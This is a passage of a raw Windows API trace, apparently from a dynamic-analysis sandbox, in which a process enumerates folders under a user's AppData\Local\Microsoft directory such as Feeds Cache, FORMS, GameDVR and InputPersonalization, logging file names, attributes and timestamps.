"c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\y905c2m8\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x427af6, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.912] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x427af6, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.912] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x427af6, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.912] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.912] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\Y905C2M8", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\Y905C2M8", lpFilePart=0x0) returned 0x42 [0217.912] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\Y905C2M8\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\y905c2m8\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x427af6, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5770 [0217.913] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x427af6, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.913] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x427af6, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.914] FindClose (in: hFindFile=0x1d1f5770 | out: hFindFile=0x1d1f5770) returned 1 [0217.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.914] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x33 [0217.914] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\FORMS\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\forms\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a17d745, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a184b86, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.915] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a17d745, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a184b86, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.916] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a184b86, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a4e76b4, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0217.916] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.916] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.916] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x33 [0217.917] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\FORMS\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\forms\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a17d745, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a184b86, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.917] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a17d745, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a184b86, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.917] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a184b86, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a4e76b4, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0217.917] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a184b86, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a4e76b4, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0 [0217.917] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.918] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\GameDVR", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\GameDVR", lpFilePart=0x0) returned 0x35 [0217.918] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\GameDVR\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\gamedvr\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809248a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xc7db342, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.918] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809248a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xc7db342, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.919] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7db342, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x212d1b5b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xd23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 1 [0217.919] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.919] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.919] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\GameDVR", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\GameDVR", lpFilePart=0x0) returned 0x35 [0217.920] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\GameDVR\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\gamedvr\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809248a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xc7db342, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.920] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809248a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xc7db342, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.920] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7db342, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x212d1b5b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xd23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 1 [0217.920] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7db342, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x212d1b5b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xd23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 0 [0217.920] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.921] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x42 [0217.921] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\inputpersonalization\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.922] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.922] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0217.922] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 0 [0217.922] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.922] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x42 [0217.923] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\inputpersonalization\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0217.923] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.923] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0217.923] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.924] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0217.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.924] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x53 [0217.924] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\inputpersonalization\\traineddatastore\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.925] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.925] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.925] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.925] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x53 [0217.925] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\inputpersonalization\\traineddatastore\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.926] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.926] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 